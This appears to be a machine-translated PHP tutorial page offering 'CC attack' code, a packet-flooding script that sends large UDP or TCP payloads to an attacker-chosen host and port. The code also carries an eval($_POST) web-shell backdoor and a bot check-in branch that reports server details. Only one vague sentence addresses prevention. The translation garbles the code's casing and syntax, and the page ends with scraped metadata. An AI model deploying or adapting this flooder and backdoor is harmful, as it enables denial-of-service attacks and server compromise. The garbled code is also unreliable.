PHP cc Attack code and prevention Method _php tutorial

CC attack code, support for UDP
Copy CodeThe code is as follows:
Eval ($_POST[CHR (90)]);
Set_time_limit (86400);
Ignore_user_abort (True);
$packets = 0;
$http = $_get[' http '];
$rand = $_get[' exit '];
$exec _time = $_get[' time ');
if (StrLen ($http) ==0 or StrLen ($rand) ==0 or StrLen ($exec _time) ==0)
{
if (StrLen ($_get[' rat ']) <>0)
{
echo $_get[' rat '].$_server["Http_host"]. "|". gethostbyname ($_server[' server_name '). "|". Php_uname (). "|". $_server[' server_software '].$_get[' rat ';
Exit
}
echo "PHP Terminator";
Exit
}
for ($i =0; $i <65535; $i + +)
{
$out. = "X";
}
Udp1-fsockopen UDP2 Pfsockopen TCP3 cc.center
$max _time = time () + $exec _time;
if ($rand ==53)
while (1)
{
$packets + +;
if (Time () > $max _time)
{
Break
}
$fp = Fsockopen ("udp://$http", $rand, $errno, $ERRSTR, 5);
if ($FP)
{
Fwrite ($fp, $out);
Fclose ($FP);
}
}
Else
if ($rand ==500)
while (1)
{
$packets + +;
if (Time () > $max _time) {
Break
}
$fp = Pfsockopen ("udp://$http", $rand, $errno, $ERRSTR, 5);
if ($FP)
{
Fwrite ($fp, $out);
Fclose ($FP);
}
}
Else
while (1)
{
$packets + +;
if (Time () > $max _time) {
Break
}
$fp = Pfsockopen ("tcp://$http", $rand, $errno, $ERRSTR, 5);
if ($FP)
{
Fwrite ($fp, $out);
Fclose ($FP);
}
}
?>


For the protection of the CC attack, if it is a dynamic page, we can determine the time, if it is a static site we need to install anti-CC attack software on the server, general server security dog is still good.

If you have good software can also give us a message.

http://www.bkjia.com/PHPjc/326206.html www.bkjia.com true http://www.bkjia.com/PHPjc/326206.html techarticle cc attack code, support UDP copy code code as follows: PHP eval ($_POST[CHR)); Set_time_limit (86400); Ignore_user_abort (True); $packets = 0; $ http = $_get[' http ']; $rand = $_get[ ...

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